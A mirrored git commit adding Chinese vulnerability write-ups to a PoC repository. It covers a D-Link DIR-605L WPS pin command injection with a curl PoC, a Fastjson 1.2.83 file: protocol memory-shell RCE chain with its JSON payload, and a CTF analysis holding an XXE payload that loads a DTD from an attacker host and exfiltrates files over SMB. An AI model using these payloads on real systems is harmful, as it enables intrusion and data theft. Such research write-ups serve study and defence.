mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-08-17 01:25:22 +08:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,420 @@
|
||||
# CNVD-2026-28535漏洞挖掘分享
|
||||
> 来源:https://xz.aliyun.com/news/92573
|
||||
|
||||
第一次自主漏洞挖掘,这里写一篇博客特此记录一下
|
||||
|
||||
|
||||
## 漏洞信息
|
||||
|
||||
|
||||
[固件地址](https://legacyfiles.us.dlink.com/DIR-605L/REVA/FIRMWARE/DIR-605L_REVA_FIRMWARE_1.13.ZIP)
|
||||
|
||||
漏洞文件:/bin/boa
|
||||
|
||||
漏洞函数:start\_wps()
|
||||
|
||||
函数地址:0x45aa28
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
该函数的调用方式不太一样
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
HTTP请求->获取pin参数->start\_wps()->sprintf拼接系统命令->system执行
|
||||
|
||||
在函数中,程序首先通过:v2 = \*(\_DWORD \*)(a1 + 268)获取 HTTP 请求中的用户输入参数。
|
||||
|
||||
然后通过:v3 = strstr(v2,"pin=");查找用户提交的 PIN 参数。
|
||||
|
||||
当参数存在时:wscd = (const char \*)(v3 + 4);获取用户可控内容。
|
||||
|
||||
之后程序直接执行:sprintf(failed,"iwpriv wlan0 set\_mib pin=%s",wscd);
|
||||
|
||||
将用户输入拼接到系统命令中,最后:system(failed)执行该命令。
|
||||
|
||||
由于用户输入未经过任何过滤,可以通过插入 Shell 特殊字符控制最终执行命令。
|
||||
|
||||
|
||||
## 环境模拟
|
||||
|
||||
|
||||
|
||||
### 字符调用寻找报错
|
||||
|
||||
|
||||
解包之后首先尝试运行
|
||||
|
||||
看文件架构
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
拷贝合适的调试工具
|
||||
|
||||
`cp $(which qemu-mips-static ) .`
|
||||
|
||||
运行boa文件发现初始化错误
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
直接去ida查找报错字符`Initialize AP MIB failed!`
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
所以这里需要apmib\_init返回true才能让函数继续执行
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
apmib\_init()不在 boa 主程序里面,它来自外部动态库(.so)
|
||||
|
||||
去找它的函数主体,在/lib/apmib.so文件中
|
||||
|
||||
用ida打开
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
分析可知apmib\_init()的作用:
|
||||
|
||||
初始化路由器配置数据库(MIB),从Flash读取硬件配置、软件配置、用户配置,然后建立内存中的配置结构,供 boa 后面的 Web 页面调用。
|
||||
|
||||
所以可以直接修改apmib\_init函数执行函数,让它直接返回1
|
||||
|
||||
创建apmib.c文件定义函数apmib\_init()
|
||||
|
||||
|
||||
```
|
||||
#include<stdio.h>
|
||||
#include<stdlib.h>
|
||||
int ampib_init(void)
|
||||
{
|
||||
//Fake it.
|
||||
return 1;
|
||||
}
|
||||
```
|
||||
|
||||
然后用gcc-mips-linux-gnu生成 MIPS 架构的 Linux 操作系统可执行文件
|
||||
|
||||
`mips-linux-gnu-gcc ./apmib.c -o apmib-ld.so -fPIC -shared`
|
||||
|
||||
之后重新运行
|
||||
|
||||
|
||||
```
|
||||
sudo chroot ./ \
|
||||
./qemu-mips-static \
|
||||
-E LD_PRELOAD="/apmib-ld.so" \
|
||||
./bin/boa
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
|
||||
|
||||
|
||||
|
||||
|
||||
### ida调试寻找报错
|
||||
|
||||
|
||||
|
||||
```
|
||||
sudo chroot ./ \
|
||||
./qemu-mips-static \
|
||||
-E LD_PRELOAD="/apmib-ld.so" \
|
||||
-g 1234 \
|
||||
./bin/boa
|
||||
```
|
||||
|
||||
配置一下ida的远端调试信息
|
||||
|
||||
hostname设置为虚拟机的ip,port为你起的那个端口
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
在apmib\_get的跳转报错了
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
真正触发程序崩溃的是 0x43B1A4 处的指令
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
查看 apmib.so 中apmib\_get()函数的汇编代码
|
||||
|
||||
int \_\_fastcall apmib\_get(int n500, unsigned \_\_int8 \*p\_boot\_ver)
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
这个函数实际上是从路由器的配置数据库(MIB)里,根据编号 n500,把对应配置值读取出来,复制到调用者提供的缓冲区 p\_boot\_ver
|
||||
|
||||
apmib\_get(配置项编号, 存放结果的地址)
|
||||
|
||||
分析调用的实际情况知道每个pid对应的是什么
|
||||
|
||||
所以修改函数apmib\_init()
|
||||
|
||||
脚本中#define MIB\_WPS\_MODE 0x3B的情况是不是这里的读取信息,在之后对start\_wps()函数的讲解会讲到
|
||||
|
||||
|
||||
```
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#define MIB_IP_ADDR 170
|
||||
#define MIB_HW_VER 0x250
|
||||
#define MIB_CAPTCHA 0x2C1
|
||||
// WPS mode
|
||||
#define MIB_WPS_MODE 0x3B
|
||||
int apmib_init()
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
// 防止boa初始化fork失败
|
||||
int fork(void)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
int apmib_get(int code, void *value)
|
||||
{
|
||||
int *v = (int *)value;
|
||||
switch(code)
|
||||
{
|
||||
// IP地址
|
||||
case MIB_IP_ADDR:
|
||||
*v = 0x7F000001; //127.0.0.1
|
||||
break;
|
||||
// 硬件版本
|
||||
case MIB_HW_VER:
|
||||
*v = 0xF1;
|
||||
break;
|
||||
// 验证码
|
||||
case MIB_CAPTCHA:
|
||||
*v = 1;s
|
||||
break;
|
||||
// ★关键
|
||||
// start_wps:
|
||||
// apmib_get(0x3b,&var)
|
||||
//
|
||||
// 0 -> 进入:
|
||||
// iwpriv wlan0 set_mib pin=%s
|
||||
//
|
||||
case MIB_WPS_MODE:
|
||||
*v = 0;
|
||||
break;
|
||||
default:
|
||||
// 默认返回成功
|
||||
*v = 0;
|
||||
break;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
```
|
||||
|
||||
然后用gcc-mips-linux-gnu生成 MIPS 架构的 Linux 操作系统可执行文件
|
||||
|
||||
`mips-linux-gnu-gcc ./apmib.c -o apmib-ld.so -fPIC -shared`
|
||||
|
||||
然后就可以运行了
|
||||
|
||||
`sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="/apmib-ld.so" ./bin/boa`
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
但是跳转的页面是错的
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
需要改动 web 目录下的 first.asp 文件
|
||||
|
||||
将代码 self.location.href="Basic/Wizard\_Easy\_LangSelect.asp";注释掉,
|
||||
|
||||
然后将self.location.href="Basic/Wizard\_Easy\_Welcome.asp";复制到else 代码块
|
||||
|
||||
即
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
之后就可以成功访问
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
接着对start\_wps函数进行详细分析
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
要想执行到system命令注入入口
|
||||
|
||||
程序会对var/run/wscd-wlan0.pid和/var/tmp/wscd\_status两个文件进行校验,要先创建出这两个文件
|
||||
|
||||
|
||||
```
|
||||
mkdir -p var/run
|
||||
mkdir -p var/tmp
|
||||
touch var/run/wscd-wlan0.pid
|
||||
touch var/tmp/wscd_status
|
||||
```
|
||||
|
||||
并且传入参数中要以”pin=····“的形式传入
|
||||
|
||||
且`apmib_get(59, &n3);` 会获取wps配置,要继续修改apmib\_get的函数伪造多一种判断情况
|
||||
|
||||
`#define MIB_WPS_MODE 0x3B`
|
||||
|
||||
|
||||
```
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#define MIB_IP_ADDR 170
|
||||
#define MIB_HW_VER 0x250
|
||||
#define MIB_CAPTCHA 0x2C1
|
||||
// WPS mode
|
||||
#define MIB_WPS_MODE 0x3B
|
||||
int apmib_init()
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
// 防止boa初始化fork失败
|
||||
int fork(void)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
int apmib_get(int code, void *value)
|
||||
{
|
||||
int *v = (int *)value;
|
||||
switch(code)
|
||||
{
|
||||
// IP地址
|
||||
case MIB_IP_ADDR:
|
||||
*v = 0x7F000001; //127.0.0.1
|
||||
break;
|
||||
// 硬件版本
|
||||
case MIB_HW_VER:
|
||||
*v = 0xF1;
|
||||
break;
|
||||
// 验证码
|
||||
case MIB_CAPTCHA:
|
||||
*v = 1;
|
||||
break;
|
||||
case MIB_WPS_MODE:
|
||||
*v = 0;
|
||||
break;
|
||||
default:
|
||||
*v = 0;
|
||||
break;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
```
|
||||
|
||||
之后就可以尝试运行了
|
||||
|
||||
|
||||
## 模拟攻击
|
||||
|
||||
|
||||
还是起服务但是可以在gdb中调试
|
||||
|
||||
|
||||
```
|
||||
sudo chroot ./ ./qemu-mips-static \
|
||||
-E LD_PRELOAD=/apmib-ld.so \
|
||||
-g 1234 \
|
||||
./bin/boa
|
||||
```
|
||||
|
||||
另开一个窗口来调试
|
||||
|
||||
|
||||
```
|
||||
gdb-multiarch ./bin/boa
|
||||
set architecture mips
|
||||
target remote :1234
|
||||
```
|
||||
|
||||
在进入system函数之前下断点,方便观察system函数的参数
|
||||
|
||||
|
||||
```
|
||||
b *0x45ab80
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
之后按`c`让它继续运行,期间他会停住等待输入
|
||||
|
||||
开另一个窗口发送参数(这里以echo>/var/run/cnvd\_test为例去测试执行)
|
||||
|
||||
|
||||
```
|
||||
curl --path-as-is \
|
||||
'http://127.0.0.1/Basic/wifisc_add_sta.asp?pin=12345678;echo>/var/run/cnvd_test'
|
||||
```
|
||||
|
||||
回到gdb调试窗口看参数
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
看到我们伪造的命令已注入,C让它执行命令
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
命令注入漏洞实现
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,168 @@
|
||||
# Fastjson 1.2.83 file: 协议不出网利用分析
|
||||
> 来源:https://xz.aliyun.com/news/92551
|
||||
|
||||
## 1\. 版本信息
|
||||
|
||||
|
||||
|
||||
| 项目 | 内容 |
|
||||
| --- | --- |
|
||||
| 组件 | com.alibaba:fastjson |
|
||||
| 影响版本 | 1.2.68 ~ 1.2.83(本报告实测 1.2.83) |
|
||||
| 利用协议 | file: 协议(无需出网) |
|
||||
| JDK 版本 | JDK 8(本机实测 Zulu 1.8.0_492) |
|
||||
| 操作系统 | macOS arm64 / Linux 均可 |
|
||||
|
||||
|
||||
|
||||
## 2\. 利用条件
|
||||
|
||||
|
||||
|
||||
| 条件 | 说明 |
|
||||
| --- | --- |
|
||||
| ① Fastjson 1.2.68~1.2.83 | 含 @JSONType 资源探测逻辑 |
|
||||
| ② SafeMode = false(默认) | true 则入口直接阻断 |
|
||||
| ③ JSON.parse 接收不可信输入 | 业务把攻击者 JSON 送进 parse |
|
||||
| ④ URL 型 ClassLoader | 典型:Spring Boot FatJar LaunchedURLClassLoader |
|
||||
| ⑤ 恶意 class 文件已落盘 | 通过文件上传/路径穿越/日志写马等途径预先写入目标磁盘 |
|
||||
| ⑥ AutoType 开或关均可 | 关闭不能免疫(核心误区) |
|
||||
|
||||
|
||||
|
||||
## 3\. 利用链
|
||||
|
||||
|
||||
|
||||
```
|
||||
JSON.parse(payload) // 入口:不可信 JSON
|
||||
│ "@type":"file:.tmp.Shell_xxxx"
|
||||
▼
|
||||
ParserConfig.checkAutoType()
|
||||
│
|
||||
├─ SafeMode? ──是──► 阻断 ✗
|
||||
│
|
||||
└─ 资源探测(autoTypeSupport=false 也走这里):
|
||||
resource = typeName.replace('.', '/') + ".class"
|
||||
"file:.tmp.Shell_xxxx" → "file:/tmp/Shell_xxxx.class"
|
||||
│
|
||||
▼
|
||||
ClassLoader.getResourceAsStream("file:/tmp/Shell_xxxx.class")
|
||||
│ LaunchedURLClassLoader 将 file: URL 当做本地文件读取
|
||||
│ 【无网络请求,不出网】
|
||||
▼
|
||||
ClassReader 扫描字节码 → 发现 @JSONType → jsonType = true
|
||||
│
|
||||
▼
|
||||
TypeUtils.loadClass() → defineClass → <clinit> 执行:
|
||||
│
|
||||
├─ 写 /tmp/MEMSHELL_RCE_OK(RCE 标记)
|
||||
├─ Base64.decode(VB64) → CommandValve.class → defineClass
|
||||
├─ Base64.decode(IB64) → MemShellInjector.class → defineClass
|
||||
└─ Injector.inject(valveClass)
|
||||
│
|
||||
▼
|
||||
Tomcat Pipeline ← CommandValve 注入
|
||||
│ GET /exec?cmd=xxx
|
||||
└─ Runtime.exec(cmd) → 回显
|
||||
```
|
||||
|
||||
关键点:
|
||||
|
||||
1 `@type` 中的 `.` 被替换为 `/`,然后拼接 `.class`,所以 `file:.tmp.Shell_xxxx` → `file:/tmp/Shell_xxxx.class`
|
||||
2 `LaunchedURLClassLoader.getResourceAsStream` 把 `file:` URL 当本地文件读,全程无出网
|
||||
3 恶意 class 带有 `@com.alibaba.fastjson.annotation.JSONType` → `autoTypeSupport=false` 被绕过
|
||||
4 所有注入逻辑在 `<clinit>` 中完成:Base64 解码 → `defineClass` → 注入 Tomcat Pipeline
|
||||
|
||||
## 4\. 复现流程
|
||||
|
||||
|
||||
|
||||
### 4.1 生成恶意 class
|
||||
|
||||
|
||||
|
||||
```bash
|
||||
java -cp "memshell-bypass:poc-jsontype/lib/asm-9.6.jar:poc-jsontype/lib/fastjson-1.2.83.jar:~/.m2/repository/org/apache/tomcat/embed/tomcat-embed-core/9.0.83/tomcat-embed-core-9.0.83.jar" \
|
||||
MemShellGen /tmp/MemShell.class
|
||||
```
|
||||
|
||||
输出:
|
||||
|
||||
|
||||
```
|
||||
[*] Valve: 2477 bytes, Injector: 6314 bytes
|
||||
[*] b64 lengths: valve=3304 injector=8420
|
||||
[+] Written 13802 bytes to /tmp/MemShell.class
|
||||
|
||||
[*] Payload (NO outbound HTTP):
|
||||
{"@type":"file:.tmp.MemShell","x":1}
|
||||
```
|
||||
|
||||
### 4.2 启动靶场
|
||||
|
||||
|
||||
```bash
|
||||
java \
|
||||
-jar fastjsn-rce-env-1.0.0.jar \
|
||||
--server.port=18080 &
|
||||
|
||||
curl http://localhost:18080/info
|
||||
# → {"autoTypeSupport":false,"safeMode":false,...}
|
||||
```
|
||||
|
||||
### 4.3 发送 Payload(不出网)
|
||||
|
||||
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:18080/parse \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"@type":"file:.tmp.MemShell","x":1}' \
|
||||
-x 127.0.0.1:8080
|
||||
```
|
||||
|
||||
靶场返回:
|
||||
|
||||
|
||||
```json
|
||||
{"ok":true,"class":"file:.tmp.MemShell","result":"file:.tmp.MemShell@21e90e88"}
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
### 4.4 验证命令执行
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
## 5\. file: 协议 vs jar:http: 协议对比
|
||||
|
||||
|
||||
|
||||
| 维度 | file: 协议(不出网) | jar:http: 协议(出网) |
|
||||
| --- | --- | --- |
|
||||
| Payload | {"@type":"file:.tmp.xxx","x":1} | {"@type":"jar:http:..IP:PORT.probe!.POC","x":1} |
|
||||
| 是否需要出网 | ❌ 不需要 | ✅ 需要 HTTP 拉 JAR |
|
||||
| class 来源 | 本地磁盘文件 | 远程 HTTP 服务器 |
|
||||
| 前提条件 | class 文件需预先落盘 | 攻击机 HTTP 服务可达 |
|
||||
| 隐蔽性 | 无网络痕迹 | 产生 HTTP 外连 |
|
||||
| JDK 版本 | JDK 8 | JDK 8(完整 RCE);JDK 9+ 仅 SSRF |
|
||||
| autoTypeSupport | 关闭仍可攻击 | 关闭仍可攻击 |
|
||||
| SafeMode | true 可阻断 | true 可阻断 |
|
||||
|
||||
|
||||
核心差异:
|
||||
|
||||
● `jar:http:` 链 = 简单但需要出网,JDK 8 下 `defineClass` 成功 → 直接 RCE,JDK 9+ 被 `ClassFormatError` 阻断(降级为 SSRF)
|
||||
● `file:` 链 = 需要 class 预先落盘,但完全不产生网络流量,适合不出网 / 隔离网环境
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,486 @@
|
||||
> 基于 [cwkiller/Java-Puzzle](https://github.com/cwkiller/Java-Puzzle) 三道 Java Web 安全谜题,结合 OpenJDK、Apache HttpCore、Apache commons-io 的官方源码,对每条利用结论进行逐行验证与扩展分析。
|
||||
>
|
||||
> **写作目的**:把「单点 trick」沉淀为「可批量复制的审计方法论」。所有结论均附源码位置与版本 diff,可独立复现。
|
||||
|
||||
---
|
||||
|
||||
# 目录
|
||||
|
||||
- [一、谜题总览](#一谜题总览)
|
||||
- [二、题一 No-FTP-XXE:协议差异是富矿](#二题一-no-ftp-xxe协议差异是富矿)
|
||||
- [三、题二 Tomcat's Secret Chamber:`(byte)char` 高位截断](#三题二-tomcats-secret-chamberbytechar-高位截断)
|
||||
- [四、题三 Fastjson Decoder:失败前的副作用](#四题三-fastjson-decoder失败前的副作用)
|
||||
- [五、跨题方法论沉淀](#五跨题方法论沉淀)
|
||||
- [六、可执行的审计检查清单](#六可执行的审计检查清单)
|
||||
- [附录:版本边界与源码索引](#附录版本边界与源码索引)
|
||||
|
||||
---
|
||||
|
||||
# 一、谜题总览
|
||||
|
||||
Java-Puzzle 是一个 Java Web 安全谜题(CTF)集合,每题基于真实审计场景设计,包含三个独立挑战:
|
||||
|
||||
| 序号 | 名称 | 难度 | 核心知识点 | 关键版本 |
|
||||
|------|------|------|-----------|---------|
|
||||
| 01 | **No-FTP-XXE** | ⭐⭐⭐ | 盲 XXE、协议解析差异、多行文件外带 | dom4j、Spring、Windows、JDK ≥ 8u131 |
|
||||
| 02 | **Tomcat's Secret Chamber** | ⭐⭐⭐ | Servlet 3.0 `web-fragment` 隐藏配置、HEAD 绕过、不出网 SSRF GetShell | Tomcat 9.0.10、Apache HttpClient < 4.5.10 |
|
||||
| 03 | **Fastjson Decoder** | ⭐⭐⭐ | Fastjson 反序列化、commons-io 链 NPE 适配、ASCII jar 覆盖 ext | Fastjson 1.2.78、commons-io 2.2、OpenJDK 8u342 |
|
||||
|
||||
本文对每道题做三层分析:**① 题目与官方解 → ② 源码级验证 → ③ 审计/渗透可复用经验**。
|
||||
|
||||
---
|
||||
|
||||
# 二、题一 No-FTP-XXE:协议差异是富矿
|
||||
|
||||
## 2.1 题目与官方解
|
||||
|
||||
**漏洞代码**(Spring + dom4j):
|
||||
```java
|
||||
@PostMapping("/update-config")
|
||||
public ResponseEntity<Map<String, Object>> updateSystemConfig(
|
||||
@RequestParam("configXml") String configXml, ...) {
|
||||
CompletableFuture.runAsync(() -> { // 异步
|
||||
try {
|
||||
SAXReader reader = new SAXReader();
|
||||
Document document = reader.read(new StringReader(configXml)); // ★ XXE sink
|
||||
processConfigDocument(document);
|
||||
} catch (DocumentException e) {
|
||||
System.err.println("配置处理错误: " + e.getMessage()); // 异常全吞
|
||||
}
|
||||
});
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
**特征**:异步处理 + 所有异常被吞 → 报错 XXE 路线被堵死,只剩 OOB(外带)。
|
||||
|
||||
**官方解**:目标为 Windows,高版本 JDK(JDK ≥ 8u131)无法用 FTP 外带多行文件,最终用 **file/netdoc 协议构造 UNC 路径,通过 SMB 外带**:
|
||||
|
||||
```xml
|
||||
<!-- 1. 列目录拿到 flag 文件名 -->
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY % f SYSTEM "netdoc://C:/">
|
||||
<!ENTITY % dtd SYSTEM "http://attacker:9991/data.dtd"> %dtd;
|
||||
]>
|
||||
<data>&send;</data>
|
||||
|
||||
<!-- 2. 读文件内容(data.dtd 把 %f 拼进 UNC 路径发往 SMB) -->
|
||||
<!ENTITY % file SYSTEM "file:///C:/flagxdzqs.txt">
|
||||
```
|
||||
|
||||
工具链:`xxe-smb-server`(impacket 开匿名 SMB)+ `python3 -m http.server` 放恶意 DTD + `tcpdump -i eth0 port 445 -w smb.pcap` 抓包。
|
||||
|
||||
## 2.2 源码级验证
|
||||
|
||||
### 2.2.1 协议清单是可枚举的
|
||||
|
||||
`URL.getURLStreamHandler`(OpenJDK `java/net/URL.java:1133`)按命名约定 `sun.net.www.protocol.<协议>.Handler` 解析处理器:
|
||||
|
||||
```java
|
||||
packagePrefixList += "sun.net.www.protocol"; // :1160
|
||||
String clsName = packagePrefix + "." + protocol + ".Handler"; // :1171-1172
|
||||
```
|
||||
|
||||
从源码目录看,JDK **内置且仅内置这 7 个协议**:
|
||||
|
||||
```
|
||||
file ftp http https jar mailto netdoc
|
||||
```
|
||||
|
||||
**审计意义**:拿到一个 JDK/中间件环境,先列出实际存在的 Handler 目录,得到一份确定的「可达协议清单」,再逐个分析过滤策略——而不是盲目试探。
|
||||
|
||||
### 2.2.2 FTP:修复 commit 的精确位置(8u131,不是 8u162)
|
||||
|
||||
网上流传分界线是 `jdk<8u162`,源码 diff 证明**真正分界是 8u131**。
|
||||
|
||||
**8u121 `FtpClient.java:520-533`(修复前)**:
|
||||
```java
|
||||
private boolean issueCommand(String cmd) throws IOException { // 只声明 IOException
|
||||
...
|
||||
sendServer(cmd + "\r\n"); // ★ 直接发,无换行检查
|
||||
return readReply();
|
||||
}
|
||||
```
|
||||
|
||||
**8u131 `FtpClient.java:520-540`(修复后)**:
|
||||
```java
|
||||
private boolean issueCommand(String cmd) throws IOException,
|
||||
sun.net.ftp.FtpProtocolException { // 新增异常
|
||||
...
|
||||
if (cmd.indexOf('\n') != -1) { // ★ 新增检查
|
||||
sun.net.ftp.FtpProtocolException ex
|
||||
= new sun.net.ftp.FtpProtocolException("Illegal FTP command");
|
||||
ex.initCause(new IllegalArgumentException("Illegal carriage return"));
|
||||
throw ex;
|
||||
}
|
||||
sendServer(cmd + "\r\n");
|
||||
return readReply();
|
||||
}
|
||||
```
|
||||
|
||||
精确 diff:`8u121 → 8u131` 只多了两个改动——签名加 `FtpProtocolException`、新增 6 行 `indexOf('\n')` 检查。`8u131 → 8u202` 完全一致,检查一直保留。所有 FTP 命令(含 user/pass 认证字段)最终都走 `issueCommand`,无一幸免。
|
||||
|
||||
### 2.2.3 HTTP:双重拦截 + 构造期检查
|
||||
|
||||
```java
|
||||
// HttpURLConnection.java:847 — 构造时检查整个 URL
|
||||
private static URL checkURL(URL u) throws IOException {
|
||||
if (u != null) {
|
||||
if (u.toExternalForm().indexOf('\n') > -1) { // 整个 URL 外部形式
|
||||
throw new MalformedURLException("Illegal character in URL");
|
||||
}
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
// HttpURLConnection.java:828 — 另一个构造器检查 host
|
||||
private static String checkHost(String h) throws IOException {
|
||||
if (h != null) {
|
||||
if (h.indexOf('\n') > -1) { // host 单独再查
|
||||
throw new MalformedURLException("Illegal character in host");
|
||||
}
|
||||
}
|
||||
return h;
|
||||
}
|
||||
```
|
||||
|
||||
`checkURL` 在构造函数 `super(checkURL(u))`(:857)就调用,**请求还没发,构造 URL 时就抛异常**。writeup 提到的 userinfo(`user:pass@host`)虽允许传入但不自动带 Authorization 头,加上这道构造期检查,HTTP 外带彻底无解。
|
||||
|
||||
### 2.2.4 mailto:命令字段的 `\n` 拦截
|
||||
|
||||
mailto 委托给 `sun.net.smtp.SmtpClient`:
|
||||
```java
|
||||
// SmtpClient.java:77 — RCPT TO
|
||||
public void to(String s) throws IOException {
|
||||
if (s.indexOf('\n') != -1) { // ★
|
||||
throw new IOException("Illegal SMTP command", ...);
|
||||
}
|
||||
...
|
||||
issueCommand("rcpt to: <" + s + ">\r\n", 250);
|
||||
}
|
||||
|
||||
// SmtpClient.java:123 — MAIL FROM,同样检查
|
||||
public void from(String s) throws IOException {
|
||||
if (s.indexOf('\n') != -1) { // ★
|
||||
throw new IOException("Illegal SMTP command", ...);
|
||||
}
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
`to()` / `from()` 都拦 `\n`,且 mailto 的 `Handler` 不实现输入(只返回 `MailToURLConnection`),`protocol doesn't support input`,OOB 触发读取时直接报错。
|
||||
|
||||
### 2.2.5 file / netdoc:无过滤的逃生口
|
||||
|
||||
```java
|
||||
// netdoc/Handler.java — openConnection 回退到 file 协议
|
||||
if (uc == null) {
|
||||
try {
|
||||
ru = new URL("file", "~", file); // ★ 回退到 file
|
||||
uc = ru.openConnection();
|
||||
} ...
|
||||
}
|
||||
```
|
||||
|
||||
`netdoc` 先尝试文档 URL,失败就 `new URL("file",...)`。而 **file 协议处理器没有任何换行检查**,所以 `file://\\attacker\share` 或 `netdoc://\\attacker\share` 构造的 UNC 路径畅通无阻,Windows 上触发 SMB 连接,多行内容进了 SMB 数据包——这就是 SMB 能外带多行的根本原因。
|
||||
|
||||
### 2.2.6 七协议过滤矩阵(源码验证结果)
|
||||
|
||||
| 协议 | 关键代码位置 | `\n` 是否被拦 | 结论 |
|
||||
|------|------------|--------------|------|
|
||||
| **ftp** | `FtpClient#issueCommand` (8u131+:532) | ✅ 拦 | JDK≥8u131 无法外带多行 |
|
||||
| **http/https** | `HttpURLConnection#checkURL` (8u202:849) | ✅ 拦 | 整个 URI 含 `\n` 直接 MalformedURLException |
|
||||
| **http host** | `HttpURLConnection#checkHost` (8u202:830) | ✅ 拦 | host 部分含 `\n` 也拦 |
|
||||
| **mailto** | `SmtpClient#to`(78) / `#from`(124) | ✅ 拦 | RCPT TO / MAIL FROM 都判 `\n` |
|
||||
| **jar** | 委托给 http | ✅ 拦 | 等同 http |
|
||||
| **file** | 无 `\n` 过滤 | ❌ 不拦 | **唯一突破口** |
|
||||
| **netdoc** | `Handler#openConnection` 回退到 `file` | ❌ 不拦 | **另一突破口** |
|
||||
|
||||
## 2.3 审计/渗透可复用经验
|
||||
|
||||
1. **DOM4J 的 `SAXReader` 是高频 XXE 点**。审计全文搜 `SAXReader`、`DocumentBuilder`、`XMLInputFactory`、`Unmarshaller`、`Transformer`,确认是否做了 `FEATURE_DISALLOW_DOCTYPE_DECL` 等加固。
|
||||
2. **异步 + 异常全吞 ≠ 安全**。报错 XXE 被堵死,但 OOB 依然成立。不要因为「异常被吞了」就放行 XXE。
|
||||
3. **判断 OS 看「外带服务有没有收到请求」**:请求 `/etc/passwd` 收不到回连,立刻怀疑 Windows。
|
||||
4. **协议安全检查是分散的、非对称的**。JDK 把 `\n` 拦截做在每个处理器自己的代码里,而不是统一网络层。看到一个协议有过滤,**绝不能推断其他协议也有**,必须逐个验证。
|
||||
5. **版本边界用源码 diff 确认**,不能信二手说法(8u131 ≠ 8u162)。
|
||||
|
||||
## 2.4 实战坑点
|
||||
|
||||
1. **Win11 安全策略不允许访问匿名 SMB**,只发认证请求不发 `Tree Connect Request`,需 `map to guest = Bad User`。
|
||||
2. **家宽到云服务器 445 出站被封**,换云厂商没用,是出口侧被封。
|
||||
3. **`Tree Connect Request` 首字符不能是 `;`**:绕过用 `file:////ip/a%file;` 前面加字符。
|
||||
|
||||
---
|
||||
|
||||
# 三、题二 Tomcat's Secret Chamber:`(byte)char` 高位截断
|
||||
|
||||
## 3.1 题目与官方解
|
||||
|
||||
本题分两部分:**权限绕过** + **不出网 SSRF GetShell**。
|
||||
|
||||
### 第一部分:隐藏配置 + HEAD 绕过
|
||||
|
||||
访问 `/admin/getimg.jsp` 返回 403,但 `web.xml` 为空。配置藏在 **JAR 包的 `web-fragment.xml`** 里:
|
||||
```
|
||||
WEB-INF/lib/ant-apache-xalan2.jar!/META-INF/web-fragment.xml
|
||||
```
|
||||
```xml
|
||||
<security-constraint>
|
||||
<web-resource-collection>
|
||||
<url-pattern>/admin/*</url-pattern>
|
||||
<http-method>GET</http-method> <!-- 只限 GET/POST -->
|
||||
<http-method>POST</http-method>
|
||||
</web-resource-collection>
|
||||
<auth-constraint></auth-constraint> <!-- 拒绝所有角色 -->
|
||||
</security-constraint>
|
||||
```
|
||||
|
||||
**绕过**:用 `HEAD` 方法。JSP 编译后继承 `HttpJspBase`,`HttpServlet#service` 对 HEAD 的处理是「调用 `doGet` + 包 `NoBodyResponse`(吞响应体)」。所以 **`HEAD /admin/getimg.jsp` 绕过权限**,副作用(文件写入/SSRF)照样执行。
|
||||
|
||||
### 第二部分:不出网 SSRF 写 shell
|
||||
|
||||
`getimg.jsp` 用 Apache HttpClient 请求 `url` 参数,响应体写入 `/img/<最后一个斜杠后的内容>`,后缀无限制、只过滤 `..`。需要让 Tomcat 自己返回含 JSP 代码的响应:
|
||||
|
||||
1. HTTP 头值部分可触发 Tomcat 错误回显。
|
||||
2. **Apache HttpClient < 4.5.10 有 CRLF 注入**:`\n` 被防御,但 Unicode `\u560a`(URL 编码 `%E5%98%8A`)能绕过。
|
||||
3. CRLF 注入到响应头,注入 **EL 表达式** `${param.getClass().forName(...)...eval(param.cmd)}` 构造 webshell。
|
||||
4. 写入文件,ScriptEngine 落地内存马。
|
||||
|
||||
## 3.2 源码级验证:`(byte)char` 截断的完整调用链
|
||||
|
||||
writeup 说修复在 `ByteArrayBuffer`,源码印证漏洞点就是 `append(char[])` 里的一行强转。
|
||||
|
||||
